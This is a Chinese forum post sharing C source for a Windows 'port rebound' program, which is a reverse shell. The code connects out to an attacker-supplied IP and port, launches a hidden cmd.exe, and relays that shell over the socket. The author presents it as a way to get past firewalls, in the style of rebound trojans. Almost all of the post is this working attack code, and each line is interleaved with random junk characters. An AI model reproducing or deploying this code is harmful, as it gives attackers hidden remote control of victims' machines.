社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4229阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 YqYobL*q/  
/}nq?Vf  
/* ============================== ]fJ9.Js  
Rebound port in Windows NT -=)+)9~G  
By wind,2006/7 lf_q6y  
===============================*/ wQojmmQ  
#include (/A 6kp?  
#include `_(N(dm  
UoHNKB73  
#pragma comment(lib,"wsock32.lib") Gk!CU"`sP  
76b2 3|  
void OutputShell(); bpdluWS+)  
SOCKET sClient; '}E"M db  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Vw5Pgtx  
AA[?a  
void main(int argc,char **argv) \!wo<UX%  
{ iw I}  
WSADATA stWsaData; 3W}qNY;J  
int nRet; BKQwF *<V  
SOCKADDR_IN stSaiClient,stSaiServer; Vs(D(d,  
lVgin54Q  
if(argc != 3) UH#S |o4  
{ c"zE  
printf("Useage:\n\rRebound DestIP DestPort\n"); ww)ow\  
return; yD Avl+  
} 6NGQU%Hd  
@-.Tgpe@a  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;R^=($X  
~{q; - &  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i7\MVI 8  
Og?P5&C"9D  
stSaiClient.sin_family = AF_INET; fnK H<  
stSaiClient.sin_port = htons(0); Nl9}*3r  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "MgTfUIiyD  
U%KsD 4B  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fDwqu.K  
{ YZz8xtM<2  
printf("Bind Socket Failed!\n"); !jRs5{n^Ol  
return; a@m  64l)  
} :+%Yul  
bM"d$tl$?'  
stSaiServer.sin_family = AF_INET; =:m6ge@C&H  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L<p.2[3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >z k6{kC  
wPaMYxO/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \{ff7_mLo  
{ 0">9n9  
printf("Connect Error!"); @-XMox/  
return; CW?R7A/  
} LNM#\fb  
OutputShell(); 2bxW`.fa  
} 6{H@VF<QY!  
;;mr?'R  
void OutputShell() Xe@:Aun  
{ 5wb R}`8  
char szBuff[1024]; 9HZR%s[J  
SECURITY_ATTRIBUTES stSecurityAttributes; p`}G" DM  
OSVERSIONINFO stOsversionInfo; Je=k.pO1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B4w/cIj_  
STARTUPINFO stStartupInfo; `\Te,  
char *szShell; \8/$ZEom  
PROCESS_INFORMATION stProcessInformation; ||'A9  
unsigned long lBytesRead; ~!"z`&  
j9*5Kj  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @Mf ZP~T+  
8-FW'bA  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b21@iW  
stSecurityAttributes.lpSecurityDescriptor = 0; &cT@MV5  
stSecurityAttributes.bInheritHandle = TRUE; #F ;@Qi3z  
1U8/.x|  
_dwJ;j`2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uw{ K&Hxw  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Jv59zI  
A8j$c~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @^,9O92l  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /N=M9i\;  
stStartupInfo.wShowWindow = SW_HIDE; SD]rYIu+  
stStartupInfo.hStdInput = hReadPipe; zS!+2/(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; quiX "lV(  
@@#(<[S\B  
GetVersionEx(&stOsversionInfo); Wqas1yL_  
r%xf=};  
switch(stOsversionInfo.dwPlatformId) )KUEkslR:  
{ 6kdcFcV-]  
case 1: 7loIjT7  
szShell = "command.com"; U_@Dn[/:  
break; 7o$S6Y;c4  
default:  Z6_fI  
szShell = "cmd.exe"; 9lc{{)m2)  
break; z{A~d  
} @K}Bll.E  
mZ#h p}\.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !.[H !-V.  
_PGS"O?j  
send(sClient,szMsg,77,0); !">EZX  
while(1) j&Y{ CFuZ  
{ lBNB8c0e"{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .t$1B5  
if(lBytesRead) i`7:^v;  
{ UUqA^yJ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U&u~i 3  
send(sClient,szBuff,lBytesRead,0); :KBy(}V  
} (dAE  
else rz.`$  
{ ;!pJ %p0Sc  
lBytesRead=recv(sClient,szBuff,1024,0); uX~YDy  
if(lBytesRead<=0) break; l#rr--];  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Fqg*H1I[  
} l'kVi  
} YguY5z  
T!QAcO  
return; {i/7Nx  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五